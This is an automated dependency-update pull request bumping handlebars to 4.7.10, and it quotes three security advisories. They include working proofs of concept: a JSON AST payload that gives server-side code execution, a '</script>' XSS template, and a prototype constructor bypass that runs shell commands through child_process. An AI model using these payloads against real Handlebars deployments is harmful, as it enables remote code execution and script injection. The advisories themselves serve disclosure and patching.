build(deps-dev): Bump dependency handlebars to v4.7.10 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
handlebars (source)	4.7.9 → 4.7.10

---

Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)

CVE-2026-106446 / GHSA-8r5x-fm3f-whwj

More information

Details

Summary

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.

If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.

Applications that only ever pass template strings are not affected.

This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.

Details

The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:

AST value	Written into generated code as	Compile options needed
Program.blockParams.length	container.program(<index>, data, <length>)	none (default options)
depth on a param that is not a PathExpression, e.g. a StringLiteral	depths[<depth>]	stringParams: true
A StringLiteral.value that is not a string	raw JavaScript literal	stringParams: true
A PathExpression.original that is not a string	raw JavaScript literal	stringParams: true

The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:

1. the blockParams object has no type, so none of the type-specific checks apply, and
2. the walker skips the string under length because it is not an object.

The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.

Proof of Concept

1. Start a server that compiles request input:

import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
  res.send(template());
});

app.listen(2123);

2. Save this request body as poc.json. missingHelper does not need to exist:

{
  "text": {
    "type": "Program",
    "loc": { "start": { "line": 1, "column": 0 } },
    "body": [
      {
        "type": "BlockStatement",
        "path": {
          "type": "PathExpression", "data": false, "depth": 0,
          "parts": ["missingHelper"], "original": "missingHelper",
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "params": [],
        "program": {
          "type": "Program",
          "blockParams": {
            "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
          },
          "body": [],
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "openStrip": { "open": false, "close": false },
        "inverseStrip": { "open": false, "close": false },
        "closeStrip": { "open": false, "close": false },
        "loc": { "start": { "line": 1, "column": 0 } }
      }
    ]
  }
}

3. Send the request:

curl -s -X POST 'http://127.0.0.1:2123/api/render' \
     -H 'Content-Type: application/json' --data-binary @poc.json

The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:

Error: Injected code ran as uid 1000

Impact

An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().

• compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).
• precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.

Workarounds

• Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.

  if (typeof templateInput !== 'string') {
    throw new TypeError('Template must be a string');
  }

• Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Credits

Variant Program.blockParams

• Nick Mykhailyshyn - @​whoareme
• jmoritzc53
• bhaswanthc
• dinhvaren
• n0tra4e
• PellaML
• kustundag
• kagebunsher
• sanmatte

Variant BooleanLiteral|NumberLiteral.value

• sondt99 Thai Son Dinh from VinSOC Labs (R&D)
• Ahmed-Elmahgob
• nikolakojic-rasit
• vk-can
• shenhuanageshei
• kustundag
• kagebunsher
• ffasterss

Variant PathExpression.depth

• hibrian827 Team Atlanta
• oss-security-shopify

Severity

• CVSS Score: 9.8 / 10 (Critical)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-8r5x-fm3f-whwj
• https://nvd.nist.gov/vuln/detail/CVE-2026-106446
• https://github.com/handlebars-lang/handlebars.js/pull/2185
• https://github.com/handlebars-lang/handlebars.js/commit/703fdcc5fd6cc8d1cc0c33cc19de40c467c4b8d2
• https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10
• https://github.com/advisories/GHSA-8r5x-fm3f-whwj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Handlebars: JavaScript Injection via Unsafe Inline Embedding of Precompiled Templates

CVE-2026-106444 / GHSA-xw65-4hp5-5hc7

More information

Details

Summary

Handlebars.precompile() generates JavaScript source that is commonly embedded in browser <script> elements. Before the fix, static template text containing </script> was emitted unchanged. HTML parsers recognize </script> even inside a JavaScript string literal, closing the surrounding script element and allowing following attacker-controlled markup to be parsed and executed.

This affects applications that precompile attacker-controlled templates and embed the generated source directly in an HTML <script> element. It does not affect ordinary server-side rendering or precompiled templates delivered as external JavaScript files.

Details

Static text is serialized by quotedString() in lib/handlebars/compiler/code-gen.js. The generated JavaScript is valid, but JavaScript quoting alone does not make it safe to embed in HTML. In HTML script data, the sequence </script> terminates the element regardless of JavaScript string context.

On affected releases, this template:

safe</script><script>alert("XSS")</script><script>

could produce generated source containing:

return 'safe</script><script>alert("XSS")</script><script>';

When included inline in an HTML document, the first </script> closes the script containing the precompiled template. The next <script> element is then parsed as HTML and executes.

Proof of Concept

const Handlebars = require('handlebars');

const template = 'safe</script><script>alert("XSS")</script><script>';
const output = Handlebars.precompile(template);

console.log(output.includes('</script>'));

Affected versions print true. Embedding output directly in an inline <script> element allows the injected script tag to be parsed by the browser.

Workarounds

• Do not inline precompiled output from untrusted templates into HTML documents.
• Serve generated precompiled templates as external JavaScript files where practical.

Credits

Reported by Curly-Haired-Baboon Aka Laplas

Severity

• CVSS Score: 4.7 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

References

• https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xw65-4hp5-5hc7
• https://nvd.nist.gov/vuln/detail/CVE-2026-106444
• https://github.com/handlebars-lang/handlebars.js/pull/2185
• https://github.com/handlebars-lang/handlebars.js/commit/609d1b11c833c9a3e00f56f2f34d22f425446725
• https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10
• https://github.com/advisories/GHSA-xw65-4hp5-5hc7

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Handlebars: JavaScript Injection via Own Property Check Bypass

CVE-2026-106445 / GHSA-p8wg-vrv2-v86f

More information

Details

Summary

Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

lookupProperty trusts own properties:

if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
  return result;
}

Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:

Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;

As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.

Proof of Concept

An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:

1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
2. Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).

const Handlebars = require('handlebars');

// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
    // construct code array from template string literal
    '{{#with a}}' +
      '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
      '{{lookup "" (pop)}}' +
      '{{lookup "" (shift)}}' +
    '{{/with}}' +

    // access Function via own property bypass on Function.prototype.constructor
    '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +

    // #each sets depth0=Function without calling it, apply avoids hash body
    '{{#each @root}}{{#if @index}}{{else}}' +
      '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
    '{{/if}}{{/each}}'
);

const result = template(
    { fn: function(){}, a: [0] },
    { allowProtoMethodsByDefault: true }
);

console.log(result.trim());

// output: uid=1000(node) gid=1000(node) groups=1000(node)

Workarounds

Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.

If you are using packages like hbs which set allowProtoMethodsByDefault: true by default, you have to update Handlebars to the latest version.

Severity

• CVSS Score: 9.2 / 10 (Critical)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-p8wg-vrv2-v86f
• https://nvd.nist.gov/vuln/detail/CVE-2026-106445
• https://github.com/handlebars-lang/handlebars.js/pull/2185
• https://github.com/handlebars-lang/handlebars.js/commit/ceec388abe1d1aac8f6369860d5f390fa71ef4fa
• https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10
• https://github.com/advisories/GHSA-p8wg-vrv2-v86f

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

handlebars-lang/handlebars.js (handlebars)

v4.7.10

Compare Source

• security: Sanitize the source map URL when minifying - f37c599
• security: Iterate lazily in #each and strip whitespace in linear time - 812c226
• security: Escape <!-- and <script in precompiled output - 609d1b1 GHSA-xw65-4hp5-5hc7
• security: Don't trust special properties on context data - ceec388 GHSA-p8wg-vrv2-v86f
• security: Only compile partials that are template strings - c28ee7a
• security: Only dispatch known node types in the Compiler and Visitor - 7d501a5
• security: Validate AST values in the compiler instead of the parser - 703fdcc GHSA-8r5x-fm3f-whwj
• Clarify that --root does not restrict filesystem access - 0fcf25c
• Bump minimist to ^1.2.8 - ea8ed82
• Fix Ruby component publishing documentation - d069c1c
• Fix Composer component definition - 6714e07

Compatibility notes:

• {{#each}} iterates iterables such as Map, Set and generators lazily, like for...of, instead of
  copying them into an array first. Values added to the iterable while the block renders are now visited too.

Commits

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.